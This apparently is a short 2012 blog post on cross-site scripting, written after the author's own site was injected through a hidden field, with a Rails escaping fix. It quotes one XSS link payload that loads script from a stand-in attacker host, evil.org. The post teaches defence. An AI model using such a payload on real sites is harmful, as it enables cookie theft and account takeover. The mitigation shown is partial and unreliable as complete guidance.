« back

Security - Oh No - I've Been Injected

11 Oct 2012

Let's take a look at what can happen when you get

1     <INJECTED!>
.

Since most scripts embedded in HTML can be interpreted by web browsers, when you are unprotected you are open to maliciously placed scripts being executed. These scripts can be written in many different languages . Some scripts on the low end of the malicious spectrum could include changing the appearance of the styling of the page. More malicious attacks could include placing a form on the page to get a user to enter personal sensitive information.

The most commonly used tags to carry out code insertion are script, object,applet,embed, and form. Consider a trusted site with a poorly coded search engine. An attacker may be able to embed their malicious code within a hyperlink to the site. When the client web browser follows the link, the URL sent to trusted.org includes malicious code. The site sends a page back to the browser including the value of criteria, which consequently forces the execution of code from the evil attackers’ server. For example;

1     <A HREF="http://trusted.org/search.cgi?criteria=<SCRIPT SRC='http://evil.org/badkama.js'></SCRIPT>"> Go to trusted.org</A>
2     

In the attack above, one source is inserting code into pages sent by another source. It should be noted that this attack: 
• disguises the link as a link to http://trusted.org, 
• can be easily included in an HTML email message, 
• does not supply the malicious code inline, but is downloaded from http://evil.org. Thus the attacker retains control of the script and can update or remove the exploit code at anytime. 
This class of vulnerability is popularly referred to as cross-site scripting (CSS or sometimes XSS). This sample is taken from http://www.technicalinfo.net/papers/CSS.html,

Although changing a color on a post or making some text bold would not be the biggest deal in the realm of securtiy, if it can be done, it means you are open to other vulnerabilities like cross site scripting. Cross site scripting can be avoided by validating user input before returning it to the system. If you can get someone's browser to execute injected code and use the same permissions as the web app, then that person has been hacked. With this, cookies can be stolen, account settings can be changed, or your machine can start to spread other malicious code.

I got injected because I had a hidden field that would collect a site id. Here is an example of what you can do to protect yourself against this from happening.

1     <input type="hidden" id="site_id" name="site_id" value ="<%=CGI::escape(@site_id) %>" />
2     

Using CGI::escape(string) will allow you to URL-encode a string. That way malicious code will be neutralized. This may give you some wacky results in your database and you could take extra measures to clean that data but this is a good start.

comments powered by Disqus